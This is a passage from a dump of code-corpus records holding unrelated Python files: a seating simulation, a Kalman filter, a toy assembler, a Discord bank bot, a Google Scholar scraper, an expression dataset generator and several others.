neighbors\n\n# Gets visible seats from seat at r, c\ndef get_visible_chairs(seats, r, c):\n neighbors = np.zeros(seats.shape, dtype=bool)\n rows, cols = seats.shape\n valid = lambda row, col: (0 <= row < rows and 0 <= col < cols and not (row == r and col == c)\n and seats[row, col] != FLOOR)\n first = lambda x: np.array(x[0], dtype=int) if len(x) > 0 else np.array([-1, -1], dtype=int)\n W = np.array([(r, c-i) for i in range(cols) if valid(r, c-i)], dtype=int)\n E = np.array([(r, c+i) for i in range(cols) if valid(r, c+i)], dtype=int)\n N = np.array([(r-i, c) for i in range(cols) if valid(r-i, c)], dtype=int)\n S = np.array([(r+i, c) for i in range(cols) if valid(r+i, c)], dtype=int)\n NW = np.array([(r-i, c-i) for i in range(cols) if valid(r-i, c-i)], dtype=int)\n NE = np.array([(r-i, c+i) for i in range(cols) if valid(r-i, c+i)], dtype=int)\n SW = np.array([(r+i, c-i) for i in range(cols) if valid(r+i, c-i)], dtype=int)\n SE = np.array([(r+i, c+i) for i in range(cols) if valid(r+i, c+i)], dtype=int)\n visible = np.stack((first(W), first(E), first(N), first(S),\n first(NW), first(NE), first(SE), first(SW)))\n ok = np.all(visible >= 0, axis=1)\n for nr, nc in visible[ok]:\n neighbors[nr, nc] = True\n return visible[ok], neighbors\n\ndef initialize_neighbors(seats, positions):\n neighbors = {}\n for r, c in positions[seats != FLOOR]:\n neighbors[r, c] = (get_adjacent(seats, r, c) if part == 1 else get_visible_chairs(seats, r, c))\n return neighbors\n\n# Simulate one round of seating\ndef simulate_round(seats, positions, neighbors):\n limit = (4 if part == 1 else 5)\n simulation = seats.copy()\n flipped = np.where(seats == EMPTY, np.full(seats.shape, OCCUPIED), \n np.where(seats == OCCUPIED, np.full(seats.shape, EMPTY), np.full(seats.shape, FLOOR)))\n changed = np.zeros(seats.shape, dtype=bool)\n occupied = np.zeros(seats.shape, dtype=int)\n if np.all(seats != OCCUPIED): # if no seats are occupied\n chairs = (seats == EMPTY)\n simulation[chairs] = OCCUPIED\n changed[chairs] = True\n else: # else check each position that might change\n for r, c in positions[seats != FLOOR]:\n _, isneighbor = neighbors[r, c]\n occupied[r, c] = np.sum((seats[isneighbor] == OCCUPIED))\n changed = (((seats == EMPTY) & (occupied == 0)) | ((seats == OCCUPIED) & (occupied >= limit)))\n simulation = np.where(changed, flipped, seats)\n return changed, simulation\n\ndef solve(filename):\n seats = []\n with open(filename) as file:\n for line in file:\n line = line.rstrip()\n seats.append([c for c in line])\n seats = np.array(seats)\n rows, cols = seats.shape\n positions = np.array([[(r, c) for c in range(cols)] for r in range(rows)])\n round = 0\n print(\"---Initial Layout---\")\n show_grid(seats)\n print(\"Building neighbor list...\")\n neighbors = initialize_neighbors(seats, positions)\n print(\"===Simulation Begin===\")\n while True:\n changed, simulation = simulate_round(seats, positions, neighbors) # simulate round\n if np.any(changed): # if any seat changed, continue, otherwise, finish\n round += 1\n print(f\"---Round {round}---\")\n seats = simulation\n show_grid(seats)\n else:\n break\n print(f\"===Simulation Ended after {round} rounds===\")\n print(f\"Part {part} # occupied: {np.sum(seats == OCCUPIED)}\")\n \nif __name__ == '__main__':\n print(f\"Input file: {filename}\")\n import time\n start = time.time()\n solve(filename)\n end = time.time()\n print(f\"Solve time: {end-start} seconds\")","sub_path":"Day11/Day11.py","file_name":"Day11.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"117498816","text":"import numpy as np\n\nimport pygame\nfrom pygame.locals import *\n\nclass Kalman:\n \"\"\"Implements Discrete-time Kalman filtering in a stateful fashion\n \"\"\"\n\n def __init__(self, manager):\n self.x = 0.0\n self.y = 0.0\n self.vx = 0.0\n self.vy = 0.0\n self.sig = 0.1\n self.sig_r = 0.1\n self.sig_q = 1.0\n self.manager = manager\n\n # process noise\n self.Er = np.array([[0.01], [0.01], [0.01], [0.01]])\n\n # measurement noise\n self.Eq = np.array([[0.01], [0.01], [0.01], [0.01]])\n\n # initialize belief state and covariance\n self.Mu = np.array([[self.x], [self.y], [self.vx], [self.vy]])\n self.var_S = np.array([10**-4, 10**-4, 10**-4, 10**-4])\n self.S = np.diag(self.var_S.flatten())\n\n # noiseless connection between state vector and measurement vector\n self.C = np.identity(4)\n\n # covariance of process noise model\n self.var_R = np.array([10**-6, 10**-6, 10**-5, 10**-5])\n self.R = np.diag(self.var_R.flatten())\n\n # covariance of measurement noise model\n self.var_Q = np.array([0.0156 * 10**-3, 0.0155 * 10**-3, 7.3811 * 10**-3, 6.5040 * 10**-3])\n self.Q = np.diag(self.var_Q.flatten())\n\n self.ready = False\n\n def done_waiting(self):\n \"\"\"Indicates filter readiness\n\n Returns:\n bool: Ready or not\n \"\"\"\n return self.ready\n\n def init_filter(self, pos, vel):\n \"\"\"Initializes filter. Meant to be run only at first.\n\n Args:\n pos (pygame.Vector2): Car position measurement\n vel (pygame.Vector2): Car velocity measurement\n \"\"\"\n self.x = pos[0]\n self.y = pos[1]\n self.vx = vel[0]\n self.vy = vel[1]\n self.X = np.array([[self.x], [self.y], [self.vx], [self.vy]])\n self.Mu = self.X\n self.ready = True\n\n def add(self, pos, vel):\n \"\"\"Add a measurement.\n\n Args:\n pos (pygame.Vector2): Car position measurement\n vel (pygame.Vector2): Car velocity measurement\n \"\"\"\n # pos and vel are the measured values. (remember x_bar)\n self.x = pos[0]\n self.y = pos[1]\n self.vx = vel[0]\n self.vy = vel[1]\n self.X = np.array([[self.x], [self.y], [self.vx], [self.vy]])\n\n self.predict()\n self.correct()\n\n def predict(self):\n \"\"\"Implement discrete-time Kalman filter prediction/forecast step\n \"\"\"\n # collect params\n dt = self.manager.get_sim_dt()\n dt2 = dt**2\n # motion model\n A = np.array([[1, 0, dt, 0], [0, 1, 0, dt], [0, 0, 1, 0], [0, 0, 0, 1]])\n\n # control model\n B = np.array([[0.5 * dt2, 0], [0, 0.5 * dt2], [dt, 0], [0, dt]])\n # B = np.array([[0, 0], [0, 0], [dt, 0], [0, dt]])\n\n # process noise covariance\n R = self.R\n\n command = self.manager.simulator.camera.acceleration\n U = np.array([[command[0]], [command[1]]])\n\n # predict\n self.Mu = np.matmul(A, self.Mu) + np.matmul(B, U)\n self.S = np.matmul(np.matmul(A, self.S), np.transpose(A)) + R\n\n def correct(self):\n \"\"\"Implement discrete-time Kalman filter correction/update step\n \"\"\"\n Z = self.X\n K = np.matmul(\n np.matmul(\n self.S, self.C), np.linalg.pinv(\n np.matmul(\n np.matmul(\n self.C, self.S), np.transpose(\n self.C)) + self.Q))\n\n self.Mu = self.Mu + np.matmul(K, (Z - np.matmul(self.C, self.Mu)))\n self.S = np.matmul((np.identity(4) - np.matmul(K, self.C)), self.S)\n\n def add_pos(self, pos):\n \"\"\"Add position measurement\n\n Args:\n pos (pygame.Vector2): Car position measurement\n \"\"\"\n self.add(pos, (self.vx, self.vy))\n\n def add_vel(self, vel):\n \"\"\"Add velocity measurement\n\n Args:\n vel (pygame.Vector2): Car velocity measurement\n \"\"\"\n self.add((self.x, self.y), vel)\n\n def get_pos(self):\n \"\"\"Get estimated car position\n\n Returns:\n pygame.Vector2: Car estimated position\n \"\"\"\n return pygame.Vector2(self.Mu.flatten()[0], self.Mu.flatten()[1])\n\n def get_vel(self):\n \"\"\"Get estimated car velocity\n\n Returns:\n pygame.Vector2: Car estimated velocity\n \"\"\"\n return pygame.Vector2(self.Mu.flatten()[2], self.Mu.flatten()[3])\n","sub_path":"vbot/experiments/exp_lc/kf.py","file_name":"kf.py","file_ext":"py","file_size_in_byte":4497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"574590904","text":"reg_8 = (\"ah\", \"al\", \"bh\", \"bl\", \"ch\", \"cl\", \"dh\", \"dl\")\nreg_16 = (\"ax\", \"bx\", \"cx\", \"dx\", \"si\", \"di\", \"bp\", \"sp\",)\nMOT = (\"add\",\"sub\",\"mov\",\"lea\",\"lds\",\"xchg\")\nDT = (\"db\",\"dw\",\"dd\")\nloc = 0\noffset = 0\nend_flag = 0\nflag = 1\nclass sym_table() :\n def __init__(self,var, offset, segment, var_type) :\n self.var = var\n self.offset = offset\n self.segment = segment\n self.var_type = var_type\n def __contains__(self,var) :\n return hasattr(self,var)\n def __contains__(self,var_type) :\n return hasattr(self,var_type)\n\nsym = []\n\n\ndef search_sym_table(var, var_type, n) : #function to check whether the symbol exists\n global loc\n global offset\n global end_flag\n offset = loc\n if \" \" in var :\n var = var.replace(\" \", \"!\")\n error(var,3) \n if var not in sym :\n if var_type == \"segment\" : #checking for segment in symbol table\n for x in sym :\n if (var_type in x) & (end_flag > 0) :\n loc = 0\n else :\n error(\"\",2) \n offset = loc\n loc = offset\n end_flag+=1\n segment = \"\\titself\"\n elif var_type == \"db\" :\n var_type = \"Byte\"\n offset = loc\n loc = offset + 8*n\n segment = \"\\tdata\"\n elif var_type == \"dw\" :\n var_type = \"Word\"\n offset = loc\n loc = offset + 16*n\n segment = \"\\tdata\"\n elif var_type == \"dd\" :\n var_type = \"Doubleword\"\n offset = loc\n loc = offset +32*n\n segment = \"\\tdata\"\n else :\n offset = loc\n loc = offset\n segment = \"\\tcode\"\n else :\n error(var,0)\n sym.append(sym_table(var.lstrip(), offset, segment, var_type))\n\ndef print_sym_table() : #to print symbol table\n print(\"\\t\",'='*72)\n print(\" | Symbol\\t| Offset | Segment \\t| Type\\t\\t|\")\n print(\"\\t\",'='*72)\n for i in sym :\n print(\"\\t| \",i.var,\"\\t| \", i.offset,\"H\\t |\", i.segment,\"\\t\\t| \", i.var_type,\"\\t\\t|\")\n print(\"\\t\",'='*72)\n # f = open(\"out.txt\",\"w\")\n # f.write()\n\ndef check_start() :\n if \"start\" in sym:\n return True\n else :\n return False\n\ndef error(x, y) :\n if y == 0:\n print(x, \"already declared\")\n elif y == 1 : #error for missing START\n print(\"START label not defined\")\n elif y == 2 :\n print(\"segment declared before ending previous segment\")\n elif y == 3 :\n print(x, \"syntax error in variable name\")\n\ndef calc_inst_size(instruction) :\n print(instruction)\n\ndef assemble(x) :\n global flag\n x=x.lower()\n n = 0\n if \";\" in x : #to check for comments in a line\n pos = x.find(\";\")\n if len(x[0:pos]) != 0 :\n x = x[0:pos]\n assemble(x)\n elif \"segment\" in x : #to check for segment in a line\n pos = x.find(\"segment\")\n var = x[0:pos].strip()\n search_sym_table(var, \"segment\", n)\n elif (\":\" in x) & ((\"assume\" not in x) or (\"cs:\" not in x) or (\"ds:\" not in x)) : #to check for label\n pos = x.find(\":\")\n var = x[0:pos]\n search_sym_table(var, \"label\", n)\n else :\n if flag == 1:\n for dt in DT : #loop to check for data directive\n dt=\" \"+dt\n if (dt in x) :\n pos = x.find(dt)\n var = x[0:pos].strip()\n var1 = x[pos+2:len(x)]\n n = var1.count(',') + 1\n search_sym_table(var, dt.lstrip(), n)\n # flag = 1\n # else :\n # flag = 0\n # else :\n # for mt in MOT :\n # if mt in x :\n # if check_start() :\n # calc_inst_size()\n # else :\n # error(\"\", 1)\n # flag = 1\n\n\n\ndef sourceline() : #to read source file line by line from an external file\n File = open(\"program.txt\",\"r\")\n f = File.readlines()\n for x in f :\n assemble(x) \n\ndef main() :\n '''Objective:\n '''\n #Approach\n sourceline()\n print_sym_table()\n\nif __name__ == \"__main__\" :\n main()","sub_path":"pmain.py","file_name":"pmain.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"206999956","text":"import asyncio\nimport datetime\nimport discord\nimport os\nimport schedule\nimport sqlite3\nimport time\n\nimport economy_functions as ef\n\nfrom dotenv import load_dotenv\n\nDEPOSIT_RATE = 0.01\nLENDING_RATE = 0.02\n\n\ndef bank_balance(user):\n db = sqlite3.connect('main.sqlite')\n cursor = db.cursor()\n cursor.execute('SELECT dollars FROM bank_deposits WHERE user_id = ?',\n (user.id,))\n result = cursor.fetchone()\n if result is None:\n sql = ('INSERT INTO bank_deposits (user_id, dollars) VALUES(?, ?)')\n val = (user.id, 0)\n cursor.execute(sql, val)\n db.commit()\n ans = 0\n else:\n ans = round(result[0], 2)\n cursor.close()\n db.close()\n return f'{user.name} has {ans:.2f} dollars in deposits.'\n\n\ndef new_deposit(user, amount, guild_id):\n if (amount <= 0):\n return \"Please enter a positive amount.\"\n elif (ef.check_balance(user.id) < amount):\n return \"You do not have enough money on you.\"\n else:\n db = sqlite3.connect('main.sqlite')\n cursor = db.cursor()\n cursor.execute('SELECT dollars FROM bank_deposits WHERE user_id = ?',\n (user.id,))\n result = cursor.fetchone()\n if result is None:\n sql = ('INSERT INTO bank_deposits (user_id, dollars) VALUES(?, ?)')\n val = (user.id, amount)\n else:\n current_balance = result[0]\n sql = ('UPDATE bank_deposits SET dollars = ? WHERE user_id = ?')\n val = (current_balance + amount, user.id)\n cursor.execute(sql, val)\n db.commit()\n cursor.close()\n db.close()\n ef.ledger_update(\"Bank_Deposit\", guild_id, user.id, \"\\\"Bank\\\"\", amount)\n ef.money_transfer(\"\\\"Bank\\\"\", amount)\n ef.money_transfer(user.id, -amount)\n return f\"{user.name} deposited {amount:.2f} dollars.\"\n\n\ndef new_withdrawal(user, amount, guild_id):\n if (amount <= 0):\n return \"Please enter a positive amount.\"\n else:\n db = sqlite3.connect('main.sqlite')\n cursor = db.cursor()\n cursor.execute('SELECT dollars FROM bank_deposits WHERE user_id = ?',\n (user.id,))\n result = cursor.fetchone()\n if (result is None or result[0] < amount):\n cursor.close()\n db.close()\n return \"You do not have enough money in your account.\"\n else:\n current_balance = result[0]\n sql = ('UPDATE bank_deposits SET dollars = ? WHERE user_id = ?')\n val = (current_balance - amount, user.id)\n cursor.execute(sql, val)\n db.commit()\n cursor.close()\n db.close()\n ef.ledger_update(\"Bank_Withdrawal\", guild_id,\n \"\\\"Bank\\\"\", user.id, amount)\n ef.money_transfer(user.id, amount)\n ef.money_transfer(\"\\\"Bank\\\"\", -amount)\n return f\"{user.name} has withdrawn {amount:.2f} dollars.\"\n\n\ndef handle_interest():\n with open(\"date.txt\", \"r\") as f:\n current_day = datetime.datetime.strptime(f.readline(),\n '%m/%d/%Y').date()\n if (datetime.date.today() != current_day):\n d = (datetime.date.today() - current_day).days\n print(f\"Paying interest for {d} days\")\n db = sqlite3.connect('main.sqlite')\n cursor = db.cursor()\n cursor.execute(f'UPDATE bank_deposits SET dollars = ' \\\n f'dollars * {(1 + DEPOSIT_RATE / 365) ** d}')\n db.commit()\n with open(\"date.txt\", \"w+\") as f:\n f.write(datetime.date.today().strftime('%m/%d/%Y'))\n","sub_path":"bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"555074917","text":"\"\"\"\n当 A 的子数组 A[i], A[i+1], ..., A[j] 满足下列条件时，我们称其为湍流子数组：\n\n若 i <= k < j，当 k 为奇数时， A[k] > A[k+1]，且当 k 为偶数时，A[k] < A[k+1]；\n或 若 i <= k < j，当 k 为偶数时，A[k] > A[k+1] ，且当 k 为奇数时， A[k] < A[k+1]。\n也就是说，如果比较符号在子数组中的每个相邻元素对之间翻转，则该子数组是湍流子数组。\n\n返回 A 的最大湍流子数组的长度。\n\n \n\n示例 1：\n\n输入：[9,4,2,10,7,8,8,1,9]\n输出：5\n解释：(A[1] > A[2] < A[3] > A[4] < A[5])\n示例 2：\n\n输入：[4,8,12,16]\n输出：2\n示例 3：\n\n输入：[100]\n输出：1\n \n\n提示：\n\n1 <= A.length <= 40000\n0 <= A[i] <= 10^9\n通过次数13,781提交次数32,291\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/longest-turbulent-subarray\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import *\n\nclass Solution:\n def maxTurbulenceSize(self, arr: List[int]) -> int:\n largeOdd, largeEven, maxLen = 1, 1, 1\n for i in range(1, len(arr)):\n isOdd = (i % 2) == 1\n if arr[i] > arr[i - 1]:\n if isOdd:\n largeOdd += 1\n largeEven = 1\n else:\n largeOdd = 1\n largeEven += 1\n elif arr[i] < arr[i - 1]:\n if isOdd:\n largeOdd = 1\n largeEven += 1\n else:\n largeOdd += 1\n largeEven = 1\n else:\n largeOdd, largeEven = 1, 1\n\n maxLen = max(max(largeOdd, largeEven), maxLen)\n return maxLen","sub_path":"978_maxTurbulenceSizeSubArray.py","file_name":"978_maxTurbulenceSizeSubArray.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"361759375","text":"import pymysql as sql\ndata1=sql.connect(\"localhost\",\"root\",\"\",\"valkyrie\")\ncur=data1.cursor()\nclass test:\n\tdef inser(self):\n\t\tnum=\"55\"\n\t\tname=\"rr\"\n\t\tcur.execute(f\"insert into test values({num},'{name}')\")\n\t\tdata1.commit()\ntt=test()\ntt.inser()","sub_path":"database/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"350213564","text":"from celery.schedules import crontab\nfrom datetime import timedelta\n\n### lumbermill CONFIGURATION ###\n\n# Application general settings\nSERVER_NAME = ''\nDEBUG = True\nSECRET_KEY = ''\nDEVEL_MODE = True\nCACHE_TYPE = 'simple'\n\n# JWT Config\nJWT_AUTH_URL_RULE = '/api/auth'\nJWT_EXPIRATION_DELTA = timedelta(hours=24)\n\n# Redis\nLS_REDIS_URL = \"localhost\"\n\nCORS_HEADERS = 'Origin, Content-Type, Accept, Authorization'\nCORS_RESOURCES = {\n r\"/api/*\": {\n \"origins\": \"*\"\n }\n}\n\nCORS_METHODS = ['GET', 'POST', 'DELETE', 'PUT', 'OPTIONS', 'HEAD']\n\n\n# lumbermill (MongoDB) database\nMONGODB_DB = 'lumbermill'\nMONGODB_HOST = 'localhost'\nMONGODB_PORT = 27017 \n\n# Celery / MQ\nCELERY_BROKER_URL = 'redis://127.0.0.1:6379'\nCELERY_BACKEND_URL = 'redis://127.0.0.1:6379'\nCELERY_ACCEPT_CONTENT = ['pickle', 'json', 'msgpack', 'yaml']\nCELERYD_CONCURRENCY = 4\n\n############################################################\n### Stack process management, configuration & deployment ###\n############################################################\n\n# Lumbermill app controller path (setuid wrapper)\nLM_APPCONTROL_PATH = \"/opt/lumbermill/lumbermill-app-controller\"\n\n# Valid services for process management\nVALID_COMPONENTS = ['logstash-server', 'logstash-indexer', 'redis', 'elasticsearch', 'kibana']\n\n# Logstash\nLS_MAIN_SERVICE_NAME = \"logstash-server\"\n\n\nLS_CONFIG_BANNER = \"\"\"\n\n###\n### DO NOT MODIFY THIS FILE DIRECTLY - YOUR CHANGES WILL BE OVERWRITTEN!\n###\n### Use the following URL to make Logstash configuration changes:\n### https://%s\n###\n\n\"\"\" % SERVER_NAME\n\n# Various Logstash paths\nLS_CONFIG_DIR_PATH = \"/opt/logstash/conf\"\nLS_CONFIG_FILE = \"logstash-server.conf\"\nLS_CONFIG_BACKUP_DIR = \"backups\"\n\n\nLS_BINARY_PATH = \"/opt/logstash/bin/logstash\"\nLS_CONFIGTEST_FLAG = \"--configtest\"\nLS_CONFIGPATH_FLAG = \"--config\"\n\n\n\n\n\n\n\n","sub_path":"lumbermill/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"348631929","text":"import argparse\r\nimport math\r\nimport os\r\nimport random\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom tqdm import tqdm\r\n\r\nfrom model import OPERATIONS, MAX_EXPRESSION_LENGTH, MAX_RESULT_LENGTH,\\\r\n MIN_NUMBER, MAX_NUMBER, MAX_NUMBER_IN_EXPRESSION, VECTOR_SIZE\r\n\r\n\r\nclass _Expression:\r\n OPS = OPERATIONS\r\n GROUP_PROB = 0.3\r\n MIN_NUM, MAX_NUM = MIN_NUMBER, MAX_NUMBER\r\n\r\n def __init__(self, max_numbers):\r\n self._expression = str(random.randint(MIN_NUMBER, MAX_NUMBER))\r\n numbers_count = random.randint(2, max_numbers)\r\n for _ in range(1, numbers_count):\r\n left = self._expression\r\n left = self._maybe_group(left)\r\n right = str(random.randint(MIN_NUMBER, MAX_NUMBER))\r\n right = self._maybe_group(right)\r\n # always group negatives on the right side\r\n if random.random() < 0.5:\r\n left, right = right, left\r\n if right.startswith('-'):\r\n right = '({})'.format(right)\r\n op = random.choice(self.OPS)\r\n self._expression = \"{0}{1}{2}\".format(left, op, right)\r\n\r\n def _maybe_group(self, expression):\r\n if (random.random() < self.GROUP_PROB):\r\n return '({})'.format(expression)\r\n else:\r\n return expression\r\n\r\n def __str__(self):\r\n return self._expression\r\n\r\n\r\ndef generate_expression():\r\n return str(_Expression(MAX_NUMBER_IN_EXPRESSION))\r\n\r\n\r\ndef train_test_generator(samples_count):\r\n for _ in(range(samples_count)):\r\n expression = generate_expression()\r\n while len(expression) > MAX_EXPRESSION_LENGTH:\r\n expression = generate_expression()\r\n\r\n result = str(eval(expression))\r\n yield expression, result\r\n\r\n\r\ndef get_args():\r\n parser = argparse.ArgumentParser(\r\n description='Generates dataset for training')\r\n\r\n parser.add_argument('-c', '--count',\r\n type=int,\r\n dest='samples_count',\r\n required=True,\r\n help='Count of (expression, result) pairs to generate')\r\n parser.add_argument('-o', '--output_path',\r\n dest='output_path',\r\n required=True,\r\n help='Path to save the dataset')\r\n parser.add_argument('-s', '--seed',\r\n type=int,\r\n dest='seed',\r\n help='Random seed')\r\n return parser.parse_args()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n args = get_args()\r\n out_path = os.path.abspath(args.output_path)\r\n parent_dir = os.path.dirname(out_path)\r\n if not os.path.exists(parent_dir):\r\n os.makedirs(parent_dir)\r\n\r\n if args.seed is not None:\r\n random.seed(args.seed)\r\n X, Y = zip(*tqdm(train_test_generator(args.samples_count),\r\n total=args.samples_count))\r\n data = {'X': X, 'Y': Y}\r\n dataframe = pd.DataFrame(data)\r\n\r\n print('Saving to {}'.format(out_path))\r\n dataframe.to_hdf(out_path, key='train_data',\r\n mode='w', format='fixed')\r\n","sub_path":"generate_dataset.py","file_name":"generate_dataset.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"130210867","text":"### Example 8-14: Printing information for a range of proteins\n\nimport sys\nimport xml.etree.cElementTree as ETree\n\nfrom ch08_12 import print_subtree\n\ndef describe_proteins(tree, limit=2, start=1):\n # start at 1 because 0 is the whole genome!\n iter = tree.getiterator('Seq-entry')\n # +1 to always skip entry for entire genome\n for n in range(start+1):\n next(iter)\n for k in range(limit+1):\n print('{:4}'.format(k+start))\n print_subtree(next(iter), 6)\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n filename = '../data/Acidobacterium-capsulatum-sequences.xml'\n else:\n filename = sys.argv[1]\n tree = ETree.parse(filename)\n descrs = root.getiterator('Seqdesc_source')\n print()\n describe_proteins(tree)\n","sub_path":"chapter_examples/ch08_14.py","file_name":"ch08_14.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"431212039","text":"# builtin\nimport sys\nimport argparse\nimport logging\n\n# internal\nfrom gscrape import utils\nfrom gscrape.session import EndNoteSession\nfrom gscrape.query import GoogleScholarQuery\nfrom gscrape.download import EndNoteDownloader\n\n# Lazy-loaded logger\nLOG = logging.getLogger(__name__)\n\n# Offset step for search results.\nOFFSET_STEP = 10\n\n\ndef init_session():\n LOG.info(\"Initializing HTTP session with Google Scholar...\")\n return EndNoteSession()\n\n\ndef init_logging(level=logging.INFO):\n fmt = '[%(levelname)s] [%(asctime)s] %(message)s'\n logging.basicConfig(level=level, format=fmt)\n\n\ndef search(term, options, session):\n \"\"\"Perform a Google Scholar search and download the results.\n \"\"\"\n total = 0 # number of articles downloaded\n offset = 0 # search offset.\n\n LOG.info(\"Initializing Google Scholar query handler...\")\n query = GoogleScholarQuery(session)\n\n LOG.info(\"Initializing EndNote downloader...\")\n downloader = EndNoteDownloader(session)\n\n while (offset // OFFSET_STEP) < options.limit:\n LOG.debug(\"Searching for '%s' @ offset %d\", term, offset)\n\n # Run the query\n result = query(term, year_from=options.start, offset=offset)\n\n # Sleep before attempting to download anything\n utils.randsleep()\n\n # Download the links embedded in the search results.\n num = downloader.download(result, outdir=options.outdir)\n\n if not num:\n break\n\n LOG.debug(\"Downloaded %d articles for term '%s'.\", num, term)\n\n total += num\n offset += OFFSET_STEP\n\n LOG.info(\"Downloaded %d articles for term '%s'\", total, term)\n\n\ndef _get_parser():\n parser = argparse.ArgumentParser(description=\"Google Scholar Scraper\")\n\n parser.add_argument(\n \"terms\",\n metavar='TERM',\n type=str,\n nargs=\"+\",\n help=\"Search terms.\",\n )\n\n parser.add_argument(\n \"--limit\",\n type=int,\n default=sys.maxint,\n help=(\"The upper limit on the number of result pages to download per \"\n \"search term.\")\n )\n\n parser.add_argument(\n \"--from-year\",\n dest=\"start\",\n type=int,\n default=\"1000\",\n help=\"Only download links from this year forward.\"\n )\n\n parser.add_argument(\n \"--dir\",\n dest=\"outdir\",\n default=\".\",\n help=\"Download directory.\"\n )\n\n parser.add_argument(\n \"--log-level\",\n default=\"INFO\",\n choices=[\"DEBUG\", \"INFO\", \"WARN\", \"ERROR\"],\n help=\"The logging output level.\",\n )\n\n return parser\n\ndef main():\n # Parse comment-line arguments\n parser = _get_parser()\n args = parser.parse_args()\n\n try:\n # initialize the logging\n init_logging(args.log_level)\n\n # initialize the google scholar session\n session = init_session()\n\n # Do the search\n for term in args.terms:\n search(term, args, session)\n\n except Exception as ex:\n LOG.error(str(ex))\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"scripts/run-gscrape.py","file_name":"run-gscrape.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"393433585","text":"# _*_ coding: utf-8 _*_\n# @author: anniequ\n# @file: test.py\n# @time: 2020/11/17 15:02\n# @Software: PyCharm\n\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nfrom PIL import Image\nimport numpy as np\nimport torchvision.models as models\nimport torch\n\nfrom datapre import VOCSegDataset, crop, classes\nfrom resunet import resnet34\n\nheight = 224\nwidth = 224\n\nvoc_test = VOCSegDataset(False, height, width)\n\n\nvalid_data = DataLoader(voc_test, batch_size=8)\n\nPATH = r\"./model/weights-33.pth\"\n# 各种标签所对应的颜色\nCOLORMAP = [[0, 0, 0], [1, 0, 128], [0, 128, 1], [0, 128, 129], [128, 0, 0]]\ncm = np.array(COLORMAP).astype('uint8')\n\n\ndef predict(img1, label):\n img1 = Variable(img1.unsqueeze(0)).cuda()\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n net = resnet34(3,5).to(device)\n\n net.load_state_dict(torch.load(PATH))\n out = net(img1)\n pred = out.max(1)[1].squeeze().cpu().data.numpy()\n pred = cm[pred]\n\n pred = Image.fromarray(pred)\n label1 = cm[label.numpy()]\n return pred, label1\n\n\nSIZE = 224\nNUM_IMG = 20\n# _, figs = plt.subplots(NUM_IMG, 3, figsize=(12, 22))\nfor i in range(51):\n img_data, img_label = voc_test[i]\n pred, label = predict(img_data, img_label)\n img_data = Image.open(voc_test.data_list[i])\n img_label = Image.open(voc_test.label_list[i])\n img_data, img_label = crop(img_data, img_label, SIZE, SIZE)\n pred.save(\"./pred/\"+str(i)+\"_pred.png\",'PNG')\n img_data.save(\"./pred/\"+str(i)+\"_img.png\",'PNG')\n print(\"the picture {} has predicted.\".format(i))\n\nprint(\"saving predict results finish.\")\n","sub_path":"t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"199712576","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport pytest\nimport mongoengine\nfrom sfm.mongoengine_mate import ExtendedDocument\n\n\nclass User(ExtendedDocument):\n id = mongoengine.IntField(primary_key=True)\n name = mongoengine.StringField()\n\n\ndef test_keys_values_items():\n user = User(id=1, name=\"Jack\")\n\n assert user.keys() == [\"id\", \"name\"]\n assert user.values() == [1, \"Jack\"]\n assert user.items() == [(\"id\", 1), (\"name\", \"Jack\")]\n\n\ndef test_to_tuple_list_dict_OrderedDict_json():\n user = User(id=1, name=\"Jack\")\n\n assert user.to_tuple() == (\"id\", \"name\")\n assert user.to_list() == [\"id\", \"name\"]\n assert user.to_dict() == {\"id\": 1, \"name\": \"Jack\"}\n assert user.to_OrderedDict() == {\"id\": 1, \"name\": \"Jack\"}\n\n assert user.to_json() == '{\"_id\": 1, \"name\": \"Jack\"}'\n\n\ndef test_absorb_and_revise():\n user = User(id=1, name=\"Jack\")\n user.absorb(User(name=\"Tom\"))\n assert user.name == \"Tom\"\n\n user_data = {\"name\": \"Mike\"}\n user.revise(user_data)\n assert user.name == \"Mike\"\n\n\nif __name__ == \"__main__\":\n import os\n pytest.main([os.path.basename(__file__), \"--tb=native\", \"-s\", ])\n","sub_path":"tests/test_mongoengine_mate.py","file_name":"test_mongoengine_mate.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"52925077","text":"from nltk.corpus import stopwords\r\nimport pandas as pd\r\nfrom pandas import 